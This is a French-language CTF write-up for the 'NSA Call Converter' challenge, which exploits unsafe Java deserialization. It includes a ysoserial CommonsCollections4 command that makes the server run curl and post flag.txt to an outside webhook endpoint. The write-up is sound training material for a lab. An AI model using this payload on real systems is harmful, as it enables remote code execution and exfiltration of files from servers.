CTF Write-Up

entièrement en français et réalisé par ThaySan.

View on GitHub

[exploit] NSA Call Converter - 150pts

calls.nsadb

titre: NSA Call Converter

categorie: Exploit

difficulté: Moyen

points: 150

description: Vous avez accès à un service interne de la NSA permettant de convertir des extraits de métadonnées téléphoniques en CSV, un format plus exploitable pour les analystes. Un extrait d'appels est fourni ci-dessous.</br> Malheureusement, la désérialisation n'est pas effectuée correctement.</br> Vous devez prendre le contrôle du serveur pour obtenir le fichier flag.txt dans le dossier de l'application.

connection: http://nsacallconverter7.chall.malicecyber.com/

Solution

La première étape est de savoir ce qu’on a entre les mains, on va donc faire un hexdump du fichier calls.nsadb (ici avec CyberChef).

Hexdump du fichier calls.nsadb

On voit qu’il contient des mots relatifs à Java, comme org.apache.commons.collections4.list.GrowthList.

Cherchons un peu si c’est un type de fichier connu, soit avec la commande file sur Linux, soit on regarde les premiers octets et on cherche sur une liste de signatures de fichier.

Signature du fichier

On sait maintenant qu’il s’agit de données Java sérialisées. En cherchant un peut sur internet les vulnérabilités, on tombe sur pas mal d’articles comme HackTricks qui parle de l’outil ysoserial.

Comme on sait que flag.txt est dans le même dossier, utilisons donc cet outil pour POST le fichier sur un endpoint.

Direction Webhook Site pour créer rapidement un endpoint (RequestBin fonctionne aussi). Notre endpoint ici est le suivant : https://webhook.site/bb26bcef-9717-4d73-9059-a489f8ec1270.

Maintenant on va créer notre payload avec ysoserial. On a vu que org.apache.commons.collections4 était utilisé, ça tombe bien, c’est l’un des points d’entrée que l’outil peut exploiter. La commande pour le créer est :

java -jar ysoserial-all.jar CommonsCollections4 "curl -d @flag.txt https://webhook.site/bb26bcef-9717-4d73-9059-a489f8ec1270" > exploit.nsadb

Ensuite il nous suffit d’aller sur le site et de tenter de le convertir pour récupérer l’erreur suivante :

Erreur obtenue lors de l'upload

Si l’on regarde notre endpoint, on a bien reçu une requête POST contenant le flag :

Requête reçue sur l'endpoint

FLAG : MALICE{NeverDeserializeUntrustedContent}